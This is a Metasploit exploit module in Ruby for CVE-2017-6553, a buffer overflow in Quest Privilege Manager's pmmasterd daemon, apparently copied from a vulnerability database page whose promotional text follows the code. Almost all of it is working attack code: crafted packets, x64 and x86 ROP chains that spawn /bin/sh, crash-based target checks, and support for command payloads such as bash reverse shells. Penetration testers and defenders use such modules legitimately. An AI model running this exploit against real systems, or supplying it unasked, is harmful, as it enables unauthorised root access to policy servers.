##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
'Description' => %q{
This modules exploits a buffer overflow in the Quest Privilege Manager,
a software used to integrate Active Directory with Linux and Unix
systems. The vulnerability exists in the pmmasterd daemon, and can only
triggered when the host has been configured as a policy server (
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
condition exists when handling requests of type ACT_ALERT_EVENT, where
the size of a memcpy can be controlled by the attacker. This module
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
vulnerable, but not supported by this module (a stack cookie bypass is
required). NOTE: To use this module it is required to be able to bind a
privileged port ( <=1024 ) as the server refuses connections coming
from unprivileged ports, which in most situations means that root
privileges are required.
},
'Author' =>
[
'm0t'
],
'References' =>
[
['CVE', '2017-6553'],
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
}
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
{
exploit: :exploit_x64,
check: :check_x64
}
],
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
{
exploit: :exploit_x86,
check: :check_x86
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 09 2017',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(12345),
Opt::CPORT(rand(1024))
]
)
end
# definitely not stealthy! sends a crashing request, if the socket dies, or
# the output is partial it assumes the target has crashed. Although the
# daemon spawns a new process for each connection, the segfault will appear
# on syslog
def check
unless respond_to?(target[:check], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end
send(target[:check])
end
def exploit
unless respond_to?(target[:exploit], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end
request = send(target[:exploit])
connect
print_status("Sending trigger")
sock.put(request)
sock.get_once
print_status("Sending payload")
sock.put(payload.encoded)
disconnect
end
# server should crash after parsing the packet, partial output is returned
def check_x64
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68
body = "PingE4.6 .0.0.27"
body << rand_text_alpha(3000)
request = head + body
connect
print_status("Sending trigger")
sock.put(request)
res = sock.timed_read(1024, 1)
if res.match? "Pong4$"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
end
end
# server should crash while parsing the packet, with no output
def check_x86
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68
body = rand_text_alpha(3000)
request = head + body
connect
print_status("Sending trigger")
sock.put(request)
begin
sock.timed_read(1024, 1)
return Exploit::CheckCode::Unknown
rescue ::Exception
return Exploit::CheckCode::Appears
end
end
def exploit_x64
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x408f88, # pop rdi, ret
0x4FA215, # /bin/sh
0x40a99e, # pop rsi ; ret
0, # argv @rsi
0x40c1a0, # pop rax, ret
0, # envp @rax
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
0xcacc013, # padding
0x408a98, # execve,
0
].pack("Q*")
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(1600)
body << ropchain
body << rand_text_alpha(0x700 - body.size)
head + body
end
def exploit_x86
head = [ 0x26c ].pack("N")
head << [ 0x108 ].pack("N")
head << [ 0xcc ].pack("N")
head << "\x00" * 68
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x8093262, # ret
0x73, # cs reg
0x804AE2C, # execve,
0xcacc013, # padding
0x8136CF0, # /bin/sh
0,
0
].pack("V*")
pivotback = 0x08141223 # sub esp, ebx ; retf
writable = 0x81766f8 # writable loc
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(104)
body << ropchain
body << rand_text_alpha(0xb4 - body.size)
body << [0x50].pack("V")
body << rand_text_alpha(0xc4 - body.size)
body << [pivotback].pack("V")
body << [writable].pack("V")
body << rand_text_alpha(0x108 - body.size)
head + body
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation